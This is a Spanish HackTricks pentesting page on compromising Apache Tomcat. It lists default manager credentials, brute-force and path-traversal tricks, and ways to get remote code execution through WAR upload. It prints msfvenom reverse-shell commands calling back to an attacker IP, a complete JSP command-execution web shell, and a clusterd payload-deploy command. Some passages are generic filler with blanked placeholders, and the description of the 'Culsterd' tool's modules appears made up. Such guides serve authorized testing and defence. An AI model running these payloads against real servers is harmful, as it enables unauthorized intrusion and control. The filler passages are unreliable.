# Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Descubrimiento
* Normalmente se ejecuta en el **puerto 8080**
* **Error común de Tomcat:**
## Enumeración
### Versión
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum
```
### Credenciales predeterminadas
La ruta más interesante de Tomcat es _**/manager/html**_, dentro de esa **ruta puedes cargar y desplegar archivos war** (ejecutar código). Pero esta ruta está protegida por autenticación básica HTTP, las credenciales más comunes son:
* admin:admin
* tomcat:tomcat
* admin:\
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Puedes probar estas y más utilizando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Otra ruta interesante de Tomcat es _**/manager/status**_, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a _**/manager/html.**_
### Fuerza bruta
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts
```
## Vulns
### Divulgación de trazas de contraseña
Intenta acceder a `/auth.jsp` y si tienes mucha suerte, **podría revelar la contraseña en una traza**.
### Doble codificación de URL
Una vulnerabilidad conocida _para_ acceder al administrador de aplicaciones \_\_ es mod\_jk en CVE-2007-1860, que permite la **travesía de directorios con doble codificación de URL**.
Para acceder al administrador web de Tomcat, ve a: _rutaTomcat/%252E%252E/manager/html_
Ten en cuenta que para cargar la webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.\
Para acceder a la puerta trasera también es posible que necesites usar el truco de la doble codificación de URL.
### /examples
Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x pueden ser utilizados por atacantes para obtener información sobre el sistema. También se sabe que estos scripts son vulnerables a la inyección de scripting entre sitios (XSS) (desde [aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Travesía de directorios (..;/)
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), puedes obtener acceso a directorios protegidos en Tomcat utilizando la ruta: `/..;/`
Entonces, por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar y desplegar un archivo .war (ejecutar código)**.
### Limitaciones
Solo podrás desplegar un archivo WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Los detalles se pueden encontrar en _tomcat-users.xml_, generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit es una herramienta de código abierto ampliamente utilizada para realizar pruebas de penetración en sistemas y redes. Proporciona una amplia gama de módulos y exploits que pueden ser utilizados para identificar y aprovechar vulnerabilidades en los sistemas objetivo.
Metasploit se utiliza comúnmente para realizar ataques contra servicios web, como el servidor Apache Tomcat. Tomcat es un servidor web y de aplicaciones ampliamente utilizado que se utiliza para ejecutar aplicaciones Java en un entorno de servidor.
Para realizar pruebas de penetración en un servidor Tomcat utilizando Metasploit, se pueden utilizar varios módulos y exploits disponibles en la herramienta. Estos módulos y exploits pueden ayudar a identificar y aprovechar vulnerabilidades conocidas en el servidor Tomcat, como la ejecución remota de código o la divulgación de información sensible.
Es importante tener en cuenta que el uso de Metasploit para realizar pruebas de penetración debe hacerse de manera ética y legal, con el permiso del propietario del sistema o red objetivo. El uso indebido de Metasploit u otras herramientas de hacking puede tener consecuencias legales graves.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
El shell inverso de MSFVenom es una técnica comúnmente utilizada en pruebas de penetración para obtener acceso remoto a un sistema objetivo. Permite a un atacante ejecutar comandos en el sistema objetivo desde una máquina remota.
El shell inverso se crea utilizando la herramienta MSFVenom, que es parte del marco de Metasploit. MSFVenom se utiliza para generar payloads maliciosos que se pueden utilizar en ataques de hacking.
Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload de shell inverso de Windows.
```bash
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell.exe
```
Reemplaza `` con la dirección IP de la máquina desde la cual se realizará el ataque y `` con el número de puerto que se utilizará para la conexión.
Una vez que se haya generado el archivo `shell.exe`, se puede enviar al sistema objetivo utilizando diferentes técnicas, como ingeniería social o explotación de vulnerabilidades.
Una vez que el archivo `shell.exe` se ejecute en el sistema objetivo, se establecerá una conexión entre el sistema objetivo y la máquina del atacante. Esto permitirá al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso de MSFVenom sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Estas técnicas solo deben utilizarse con fines educativos o en pruebas de penetración autorizadas.
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
A continuación, **sube el archivo `revshell.war` y accede a él (**_**/revshell/**_**)**
### Enlazar y revertir la shell con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
#### Descargar
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain control over the target machine and execute commands remotely. The reverse shell is commonly used in penetration testing to gain unauthorized access to a system.
To establish a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to execute a reverse shell payload. Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine.
It is important to note that using reverse shells for unauthorized access is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing with proper authorization.
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### Shell de conexión
Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión entre el sistema atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.
El shell de conexión se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red o la inyección de código malicioso en aplicaciones web. Una vez establecida la conexión, el atacante puede ejecutar comandos en el sistema objetivo y obtener acceso a sus recursos.
El shell de conexión es una técnica muy poderosa en la pentesting web, ya que permite al atacante obtener un control total sobre el sistema objetivo. Sin embargo, también es una técnica peligrosa, ya que puede ser detectada por sistemas de seguridad y antivirus.
Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. La pentesting web debe realizarse siempre con el permiso y la autorización del propietario del sistema objetivo.
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
Culsterd is a tool that can be used to exploit vulnerabilities in Apache Tomcat servers. It provides a set of modules that can be used to perform various attacks, such as information gathering, brute forcing, and remote code execution.
To use Culsterd, you first need to install it on your machine. You can do this by cloning the Culsterd repository from GitHub and following the installation instructions provided in the repository's README file.
Once Culsterd is installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the `tomcat_enum` module to enumerate valid usernames on a Tomcat server. This module uses a list of common usernames and tries to authenticate with each one of them using a default password.
To use the `tomcat_enum` module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the list of usernames. Culsterd will then attempt to authenticate with each username and report back the results.
Another useful module provided by Culsterd is the `tomcat_rce` module, which can be used to execute arbitrary commands on a vulnerable Tomcat server. This module takes advantage of a vulnerability in the Tomcat Manager application to upload and execute a malicious WAR file.
To use the `tomcat_rce` module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the malicious WAR file. Culsterd will then upload the WAR file to the server and execute it, giving you remote access to the server.
Culsterd is a powerful tool that can be used to exploit vulnerabilities in Apache Tomcat servers. However, it should only be used for legitimate purposes, such as penetration testing and security auditing. Using Culsterd for malicious purposes is illegal and unethical.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Método manual - Web shell
Crea **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
También puedes instalar esto (permite cargar, descargar y ejecutar comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método Manual 2
Obtén una web shell JSP como [esta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Otras formas de obtener credenciales de Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Otras herramientas de escaneo de Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.